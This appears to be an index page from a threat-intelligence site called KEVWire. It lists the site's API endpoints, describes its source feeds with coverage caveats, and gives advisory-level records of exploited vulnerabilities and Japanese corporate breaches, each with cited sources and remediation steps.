# KEVWire

> Source-reviewed editorial records covering exploited vulnerabilities, notable disclosed breaches, and AI security research.

Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends.
Configured publication origin. This endpoint makes no indexing or coverage promises.

## Evidence and limitations
KEV is known exploitation, not necessarily a zero-day. Federal due dates are not your SLA.
EPSS scores are dated model estimates for the following 30 days; missing metrics stay unknown.
Reporting is not independently primary-confirmed. AI infrastructure is not attacker AI attribution.
Local user-supplied review marker only; not verified remediation, patching, or lack of exposure.

## Endpoints
https://kevwire.com/api/intel
https://kevwire.com/api/sources
https://kevwire.com/api/health
https://kevwire.com/api/trends
https://kevwire.com/api/export.csv
https://kevwire.com/api/export.json
https://kevwire.com/feed.xml
https://kevwire.com/api/schema.json
https://kevwire.com/sitemap.xml
The intelligence API is paginated (default 25, maximum 100); search addresses the whole retained corpus.

## Source status
Editorial Evidence Review: editorial; 19 retained records. Last success: none. Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends. A manually reviewed, dated editorial sample, not a live feed. Source claims and dates remain tied to each record; no invented scores or trends.
CISA Known Exploited Vulnerabilities: live; 1756 retained records. Last success: 2026-10-26T18:50:55.739Z. The full successfully validated KEV catalog, without a newest-record slice. Known exploitation is not necessarily a zero-day. KEV-only publication dates denote catalog additions, not initial disclosure. Due dates concern covered US federal agencies, not your SLA. The last complete catalog is retained for 30 days; oversized or incomplete replacements are rejected, not truncated.
GitHub Public Security Advisories: cached; 308 retained records. Last success: 2026-10-26T18:40:59.678Z. GitHub-reviewed public advisories, sorted by update date; at most 3 cursor pages of 100 records per cycle, without authentication. Not the entire advisory database. GitHub review is upstream review, not local editorial review or proof of remediation. Withdrawn advisories are excluded. Retained union is bounded to 2,000 records updated within 180 days; public API rate limits can reduce coverage.
JPCERT/CC Japan Advisories: live; 32 retained records. Last success: 2026-10-26T18:40:55.873Z. Current Japanese-language alerts and weekly report entries, with the exact article or weekly-report anchor. RSS usually supplies only a Japanese title and date. Titles matching JPCERT/CC's fixed patterns are shown in English via a deterministic glossary translation with the original Japanese retained; unmatched titles stay in Japanese rather than being guessed. No affected-version detail is invented. Japan denotes this advisory audience, not a scan or proof of exposure. Up to 500 records are retained for 365 days.
Google Project Zero Research: live; 10 retained records. Last success: 2026-10-26T18:35:57.768Z. Security-research entries in the official Atom feed, including explicit AI-defense research when present; no archive crawling. The official feed is large but contains a bounded current entry list. Excerpts are not full articles. Ordinary fuzzing, automation, and exploit research are not classified as AI. Up to 250 records are retained for 730 days.
Google Security Research: live; 47 retained records. Last success: 2026-10-26T18:35:57.804Z. At most the 50 entries supplied by the official Google Security RSS endpoint; security-topic filtering and conservative, source-linked AI classifications. Not all Google research or all AI defense. Product security and prompt-injection research do not establish attacker AI use. Excerpts are not independently reproduced findings. Up to 250 records are retained for 730 days.
NVD Recently Published CVEs: live; 5738 retained records. Last success: 2026-10-26T18:21:53.012Z. Every CVE in the NVD, from any vendor worldwide, that any scorer (the vendor/CNA, NVD, or CISA) rates HIGH or CRITICAL, or that CISA's assessment reports as actively exploited. A 14-day backfill on first run, then every CVE modified since the last successful retrieval. Medium and low severity CVEs are not ingested; unscored CVEs appear once scored. The CNA (vendor) score is preferred over NVD's own when both exist. NVD publication is not evidence of exploitation. Up to 6,000 records are retained for 120 days.
BleepingComputer Security Reporting: unavailable; 0 retained records. Last success: none. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
The Hacker News: live; 30 retained records. Last success: 2026-10-26T18:50:55.718Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
SecurityWeek: live; 6 retained records. Last success: 2026-10-26T18:50:55.667Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
Help Net Security: live; 1 retained records. Last success: 2026-10-26T18:45:58.962Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
The Record (Recorded Future News): cached; 1 retained records. Last success: 2026-10-26T14:15:57.066Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
Axios: live; 3 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.
TechCrunch Security: live; 3 retained records. Last success: 2026-10-26T18:50:55.649Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.
WIRED Security: live; 5 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.
The Verge (AI): live; 0 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.
404 Media: live; 0 retained records. Last success: 2026-10-26T18:50:55.718Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so.
Have I Been Pwned: live; 121 retained records. Last success: 2026-10-26T18:25:57.041Z. Breaches loaded into Have I Been Pwned in the last year: breached organization, account count, exposed data types, breach and load dates, and the organization's disclosure when HIBP links one. HIBP covers breaches whose data it obtained and loaded; many breaches never appear there. Counts are accounts in the loaded data, not necessarily people. Unverified breaches are labeled as such; fabricated, spam-list, retired, and sensitive breaches are skipped. Up to 400 records are retained for 365 days.
DataBreaches.net: live; 5 retained records. Last success: 2026-10-26T18:40:55.873Z. Breach and incident reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
The HIPAA Journal: live; 7 retained records. Last success: 2026-10-26T18:25:57.095Z. Healthcare breach and security reporting selected from the current feed; compliance guides and opinion are skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days.
Anthropic: live; 1 retained records. Last success: 2026-10-26T18:25:59.739Z. Anthropic news posts about misuse, threats, safety, and security, found through its sitemap (it publishes no feed); at most 8 new pages are read per run. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.
OpenAI: live; 61 retained records. Last success: 2026-10-26T18:25:55.704Z. OpenAI news posts about misuse, threats, safety, and security; product and business posts are skipped. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.
Google DeepMind: live; 1 retained records. Last success: 2026-10-26T18:25:55.704Z. Google DeepMind blog posts about misuse, threats, safety, and security; product and research-only posts are skipped. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days.
Microsoft Security blog: live; 4 retained records. Last success: 2026-10-26T18:50:59.031Z. Microsoft Threat Intelligence and security posts: vulnerabilities, threat actors, and AI misuse it observed. The publishing company's own reporting about threats it observed; not independently confirmed here. Marketing posts are skipped. Up to 300 records are retained for 365 days.
AI Incident Database: live; 49 retained records. Last success: 2026-10-26T18:46:59.993Z. Reports newly added to the AI Incident Database (Responsible AI Collaborative) that concern security or misuse (deepfakes, scams, influence operations, attacks on or by AI, unauthorized actions), each linking to the original report on its publisher's site. Vehicle crashes, lawsuits, bias, errors, and other non-security harms are skipped; non-English reports usually are too, because the filter reads English. Inclusion in the database means an editor judged it an AI incident; it is not an independent investigation. The linked report is the evidence. An AI role is assigned only when the report title states it. Up to 500 records are retained for 365 days.
FIRST EPSS: live; 6700 retained records. Last success: 2026-10-26T13:40:30.430Z. Measured EPSS rows for real CVE identifiers already in this corpus; batches of at most 80 identifiers and under 1,900 CVE-query characters. Daily model scores estimate exploitation in the following 30 days, not organizational exposure. Missing CVEs receive no default score. Exact scoring dates and per-CVE/date API evidence are retained for 30 days; scores older than 2 days are stale even if a retrieval succeeds.
CVE Program CVSS Enrichment: live; 140 retained records. Last success: 2026-10-26T18:41:03.388Z. At most 8 published per-CVE documents per cycle, one request at a time, for missing CVSS or an editorial CVE-API measurement not yet rechecked; no NVD polling. Targeted enrichment, not full CVE coverage. CNA CVSS is preferred; if absent, an explicitly labeled public ADP assessment can supply the actual metric and authoritative source update date. A document with no usable CVSS is not a metric-ingestion success. Unscored targets are deferred for 24 hours. Up to 4,000 enrichments are retained for 30 days.

## Retained records

### PHP CGI argument injection on Windows
https://kevwire.com/record/CVE-2024-4577
PHP CGI argument injection on Windows (Jun 6, 2024).
Windows character conversion can let unauthenticated requests inject PHP options and execute code in affected CGI configurations. DEVCORE verified Japanese CP932 among the affected locales; Talos later documented exploitation targeting organizations in Japan.
CVSS 9.8 (version 3.1; evidence as of Jun 21, 2024; https://cveawg.mitre.org/api/cve/CVE-2024-4577).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25).
Sources:
DEVCORE security advisory: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
Cisco Talos: Unmasking the new persistent attacks on Japan: https://blog.talosintelligence.com/new-persistent-attacks-japan/
CISA KEV JSON: CVE-2024-4577: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25
CVE Program CNA php: https://cveawg.mitre.org/api/cve/CVE-2024-4577
DEVCORE's initial fixed releases were PHP 8.3.8, 8.2.20, and 8.1.29. Exposing the PHP executable through a CGI directory can also create exposure. Talos's March 6, 2025 report identifies TaoWu as a Cobalt Strike toolkit, not an AI system or proof of ransomware attribution.
Action: Install a current supported PHP security release and assess CGI exposure against DEVCORE's advisory. Remove unnecessary PHP CGI mappings; its locale-specific rewrite rule is only a temporary mitigation.
Kind: vulnerability; regions: Global, Japan; provenance: editorial.
CISA added Jun 12, 2024; federal due date Jul 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PAN-OS GlobalProtect command injection
https://kevwire.com/record/CVE-2024-3400
PAN-OS GlobalProtect command injection (Apr 12, 2024).
An unauthenticated attacker can execute commands with root privileges on affected PAN-OS firewalls with GlobalProtect enabled. Volexity documented exploitation before disclosure, and JPCERT/CC received reports of affected organizations in Japan.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://security.paloaltonetworks.com/CVE-2024-3400).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25).
Sources:
Palo Alto Networks security advisory: https://security.paloaltonetworks.com/CVE-2024-3400
Volexity zero-day investigation: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
JPCERT/CC alert JPCERT-AT-2024-0009: https://www.jpcert.or.jp/at/2024/at240009.html
CISA KEV JSON: CVE-2024-3400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25
Exposure requires a GlobalProtect gateway or portal on affected PAN-OS 10.2, 11.0, or 11.1 releases. Disabling device telemetry is not an effective mitigation. The vendor excludes Cloud NGFW, Panorama, and Prisma Access from this vulnerability.
Action: Use the vendor's fixed-version matrix and upgrade affected firewalls. Preserve a technical support file before upgrading a suspected compromised device, and follow the vendor's recovery guidance rather than assuming a patch removes an existing compromise.
Kind: vulnerability; regions: Global, Japan; provenance: editorial.
CISA added Apr 12, 2024; federal due date Apr 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### FortiManager missing authentication in device management
https://kevwire.com/record/CVE-2024-47575
FortiManager missing authentication in device management (Oct 23, 2024).
Missing authentication in FortiManager's fgfmd daemon permits remote code or command execution. Fortinet confirms exploitation; Mandiant documented pre-disclosure theft of managed-device configuration data.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://fortiguard.fortinet.com/psirt/FG-IR-24-423).
EPSS 94.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25).
Sources:
Fortinet PSIRT FG-IR-24-423: https://fortiguard.fortinet.com/psirt/FG-IR-24-423
Mandiant FortiManager zero-day investigation: https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575
CISA KEV JSON: CVE-2024-47575: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25
Mandiant observed exploitation as early as June 27, 2024, but did not establish follow-on lateral movement in its published investigation. Fortinet warns that unauthorized-device registration logs on patched systems are not, by themselves, proof of successful compromise.
Action: Apply the appropriate Fortinet fixed release and restrict device-management access. Investigate exposed systems and follow Fortinet's recovery instructions, including changing credentials and sensitive secrets of managed devices when compromise is suspected.
Kind: vulnerability; regions: Global; provenance: editorial.
CISA added Oct 23, 2024; federal due date Nov 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure unauthenticated buffer overflow
https://kevwire.com/record/CVE-2025-0282
Ivanti Connect Secure unauthenticated buffer overflow (Jan 8, 2025).
A stack-based buffer overflow affects Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. Mandiant identified zero-day exploitation of Connect Secure beginning in mid-December 2024; this does not establish exploitation of every affected product.
CVSS 9.0 (version 3.1; evidence as of Jan 8, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-0282).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25).
Sources:
Mandiant Ivanti zero-day investigation: https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day
CISA mitigation instructions for CVE-2025-0282: https://www.cisa.gov/cisa-mitigation-instructions-CVE-2025-0282
CISA KEV JSON: CVE-2025-0282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25
CVE Program CNA ivanti: https://cveawg.mitre.org/api/cve/CVE-2025-0282
Ivanti's CNA identifies Connect Secure 22.7R2.5 as unaffected by this CVE. CISA revised its recovery instructions on March 28, 2025 after identifying RESURGE malware. A clean integrity-check result alone is not proof that an appliance was never compromised.
Action: Follow CISA's updated hunt, reset, patch, and recovery instructions. Use an external known-clean image for cloud or virtual factory resets, investigate connected systems, and revoke exposed credentials, keys, and certificates when compromise is found.
Kind: vulnerability; regions: Global; provenance: editorial.
CISA added Jan 8, 2025; federal due date Jan 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Visual Composer malicious file upload
https://kevwire.com/record/CVE-2025-31324
SAP NetWeaver Visual Composer malicious file upload (Apr 24, 2025).
Missing authorization on Visual Composer's Metadata Uploader allows unauthenticated upload of malicious executable files. SAP's CNA identifies VCFRAMEWORK 7.50; CISA lists known exploitation, and Onapsis reports pre-patch compromises.
CVSS 10.0 (version 3.1; evidence as of Apr 24, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-31324).
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25).
Sources:
Onapsis investigation of CVE-2025-31324 and CVE-2025-42999: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
CISA KEV JSON: CVE-2025-31324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25
CVE Program CNA sap: https://cveawg.mitre.org/api/cve/CVE-2025-31324
The issue is specific to the Visual Composer component, not every SAP installation. Onapsis's combined investigation also describes the distinct deserialization CVE-2025-42999 and advises applying SAP Security Note 3604119 in addition to the initial CVE-2025-31324 correction.
Action: Apply SAP's applicable security corrections and consult the combined Onapsis guidance for Notes 3594142 and 3604119. Assess compromise and persistence; updating software does not remove an already installed web shell.
Kind: vulnerability; regions: Global; provenance: editorial.
CISA added Apr 29, 2025; federal due date May 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### On-premises SharePoint untrusted deserialization
https://kevwire.com/record/CVE-2025-53770
On-premises SharePoint untrusted deserialization (Jul 20, 2025).
Untrusted deserialization permits remote code execution in affected on-premises SharePoint Server deployments. CISA lists known exploitation, and Microsoft documents related attack chains, stolen machine keys, and ransomware deployment.
CVSS 9.8 (version 3.1; evidence as of Feb 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-53770).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25).
Sources:
Microsoft Threat Intelligence SharePoint investigation: https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/
CISA KEV JSON: CVE-2025-53770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2025-53770
SharePoint Online is not affected by the on-premises vulnerabilities in Microsoft's investigation. CVE-2025-53770 is a patch bypass for CVE-2025-49704 and can be used in a chain; those identifiers describe distinct vulnerabilities, not aliases for this CVE.
Action: Apply Microsoft's applicable SharePoint updates, enable and correctly configure AMSI, rotate ASP.NET machine keys, restart IIS, and perform incident response. Use the vendor's full guidance for prerequisites and compromise assessment.
Kind: vulnerability; regions: Global; provenance: editorial.
CISA added Jul 20, 2025; federal due date Jul 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ollama model-digest path traversal
https://kevwire.com/record/CVE-2024-37032
Ollama model-digest path traversal (May 31, 2024).
Ollama before 0.1.34 failed to validate model digests before constructing file paths. Wiz demonstrated arbitrary file read and overwrite, leading to code execution in its tested Docker deployment; it did not establish a criminal exploitation campaign.
CVSS 8.8 (version 3.1; evidence as of Mar 27, 2025; https://cveawg.mitre.org/api/cve/CVE-2024-37032).
EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25).
AI classification: infrastructure; evidence: confirmed. The affected product serves AI models. This classification describes the vulnerable infrastructure, not proof that an attacker used AI.
Sources:
Wiz Probllama research disclosure: https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2024-37032
The attack requires access to the Ollama API. Wiz distinguishes localhost-bound Linux installations from exposed Docker deployments and recommends protective authentication when network access is needed.
Action: Update Ollama to a current release containing the 0.1.34 correction. Do not expose its API to untrusted networks without protective authentication and network controls, as recommended by Wiz.
Kind: vulnerability; regions: Global; provenance: editorial.
KEV evidence not available.

### Ray Jobs API exposure with disputed CVE status
https://kevwire.com/record/CVE-2023-48022
Ray Jobs API exposure with disputed CVE status (Nov 28, 2023).
Ray's Jobs API can execute submitted code on a cluster reachable by untrusted clients. Oligo reports malicious use of exposed clusters; Anyscale disputes the CVE because Ray's security boundary requires a controlled network environment.
CVSS 9.8 (version 3.1; evidence as of Jun 12, 2024; https://cveawg.mitre.org/api/cve/CVE-2023-48022).
EPSS 83.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25).
AI classification: infrastructure; evidence: confirmed. Ray supports distributed AI workloads. Oligo's malicious-use report is about attacks on that infrastructure, not evidence of AI-assisted attackers.
Sources:
Oligo ShadowRay investigation: https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild
Anyscale update on Ray CVEs: https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023
Ray token authentication documentation: https://docs.ray.io/en/latest/ray-security/token-auth.html
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2023-48022
The report concerns open-source Ray, not Anyscale's managed SaaS. The current CVE retains its disputed tag and notes token authentication from Ray 2.52.0. Current Ray documentation still requires encrypted network access; a token is not a substitute for isolation.
Action: Keep Ray APIs within a trusted network and review exposed clusters for malicious jobs. Configure token authentication and encrypted connections using Ray's current guidance; do not treat the historical dispute as evidence that public exposure is safe.
Kind: vulnerability; regions: Global; provenance: editorial.
KEV evidence not available.

### vLLM V0 multi-node pickle deserialization
https://kevwire.com/record/CVE-2025-30165
vLLM V0 multi-node pickle deserialization (May 6, 2025).
vLLM's V0 engine deserializes ZeroMQ messages with pickle in cross-host tensor-parallel deployments. A compromised primary host or a redirected connection can deliver code-executing data to secondary hosts; the V1 engine is unaffected.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25).
AI classification: infrastructure; evidence: confirmed. The affected software serves large language models. The source does not establish attacker AI use or exploitation in a deployed criminal campaign.
Sources:
vLLM maintainer security advisory: https://github.com/vllm-project/vllm/security/advisories/GHSA-9pcc-gvx5-r5wm
GitHub API for the vLLM maintainer advisory: https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25
The maintainer says V0 has been off by default since 0.8.0. The advisory lists 0.10.0 as patched, but its narrative also says no invasive V0 fix is planned. This unresolved version-guidance inconsistency is not converted into a universal upgrade guarantee.
Action: Use the unaffected V1 engine where applicable and restrict multi-node communications to a secure network. Consult the maintainer advisory for version guidance; changing model-weight formats does not establish a fix for this IPC vulnerability.
Kind: vulnerability; regions: Global; provenance: editorial.
KEV evidence not available.

### Asahi ransomware disruption and exposure assessment
https://kevwire.com/record/asahi-japan-ransomware-2025
Asahi ransomware disruption and exposure assessment (Sep 29, 2025).
Asahi confirms ransomware on Japan-managed systems during its September 29, 2025 disruption and theft of some company-PC data. Its July 17, 2026 notice distinguishes confirmed leakage from broader potential personal-information exposure.
Sources:
Asahi initial cyberattack notice: https://www.asahigroup-holdings.com/newsroom/detail/20250929-0202.html
Asahi investigation and recurrence-prevention report: https://www.asahigroup-holdings.com/en/newsroom/detail/20260218-0201.html
Asahi revised potential-exposure notice: https://www.asahigroup-holdings.com/en/newsroom/detail/20260717-0201.html
Asahi says an attacker entered through network equipment, but the exact entry time could not be determined. The July 17, 2026 investigation found no evidence of personal information being transferred from data-center servers; possible exposure was still included in its notification scope. The cited notices do not name Qilin or establish an arrest.
Action: Follow Asahi's affected-party notifications and official notices. Its February 18, 2026 report describes recovery and security changes; it is not a patch advisory or a universal remediation mandate for other organizations.
Kind: breach; regions: Japan; provenance: editorial.
KEV evidence not available.

### DMM Bitcoin theft attributed to North Korean actors
https://kevwire.com/record/dmm-bitcoin-tradertraitor-2024
DMM Bitcoin theft attributed to North Korean actors (Dec 23, 2024).
The FBI, DC3, and Japan's NPA attribute DMM's May 2024 theft of 4,502.9 BTC to TraderTraitor actors. Their statement values the stolen funds at $308 million at the time of the attack, not at a current Bitcoin price.
Sources:
FBI, DC3, and NPA joint DMM Bitcoin statement: https://www.fbi.gov/news/press-releases/fbi-dc3-and-npa-identification-of-north-korean-cyber-actors-tracked-as-tradertraitor-responsible-for-theft-of-308-million-from-bitcoindmmcom
The agencies describe a Ginco employee targeted with a malicious Python recruitment test and subsequent session-cookie impersonation. They assess that attackers likely manipulated a legitimate DMM transaction request; that step is not presented as a definitively proven signing mechanism.
Action: Consult the joint statement for the documented recruitment lure and session-abuse sequence. It does not prescribe a specific DMM patch or certify a universal wallet-signing remediation.
Kind: breach; regions: Japan; provenance: editorial.
KEV evidence not available.

### Casio ransomware and internal-document leakage
https://kevwire.com/record/casio-ransomware-2024
Casio ransomware and internal-document leakage (Oct 8, 2024).
Casio confirms an October 5, 2024 ransomware intrusion and leakage of internal documents containing employee, partner, and some customer information. Its investigation says CASIO ID and ClassPad.net ran on separate systems and were unaffected.
Sources:
Casio initial unauthorized-access notice: https://world.casio.com/news/2024/1008-incident/
Casio ransomware investigation results: https://world.casio.com/news/2025/0107-incident/
The January 7, 2025 report identifies deficiencies in phishing defenses and global network security, but does not establish AI use or a precise affiliate-to-headquarters attack path. It found no evidence of theft from the customer database and says leaked personal information did not include credit-card information.
Action: Use Casio's official notifications and inquiry channel if affected. Be cautious of unsolicited follow-up emails and do not redistribute leaked personal information; the company describes security review and employee training as recurrence-prevention measures.
Kind: breach; regions: Japan; provenance: editorial.
KEV evidence not available.

### KADOKAWA and Niconico ransomware disruption
https://kevwire.com/record/kadokawa-niconico-ransomware-2024
KADOKAWA and Niconico ransomware disruption (Jun 14, 2024).
KADOKAWA confirms a June 8, 2024 ransomware attack affecting its data center and Niconico-related services. Its August 5, 2024 notice confirms leakage involving employees, business partners, and educational-institute stakeholders.
Sources:
KADOKAWA second report on system failure: https://group.kadokawa.co.jp/information/media-download/1337/a0a8256c542b707e/
KADOKAWA notice concerning information leakage: https://group.kadokawa.co.jp/information/media-download/1355/9d3bd5d77ffe0c4d/
The company presumes stolen employee credentials, possibly from phishing, were involved, while saying the exact route and method were unknown. It did not confirm leakage of Niconico login credentials. The reviewed corporate notices do not identify a ransomware gang or prove hypervisor power-control claims.
Action: Follow official individual notifications and dedicated helpdesks. Treat suspicious follow-up messages cautiously and avoid redistributing exposed personal information, as requested in KADOKAWA's notice.
Kind: breach; regions: Japan; provenance: editorial.
KEV evidence not available.

### JAXA discloses data leakage from a 2023 intrusion
https://kevwire.com/record/jaxa-network-data-leakage-2023
JAXA discloses data leakage from a 2023 intrusion (Jul 5, 2024).
JAXA's July 5, 2024 notice confirms leakage of collaboration information and personal information from an intrusion detected in October 2023. It describes VPN-device compromise, stolen accounts, and unauthorized Microsoft 365 access.
Sources:
JAXA official unauthorized-access and information-leakage notice: https://www.jaxa.jp/press/2024/07/20240705-2_j.html
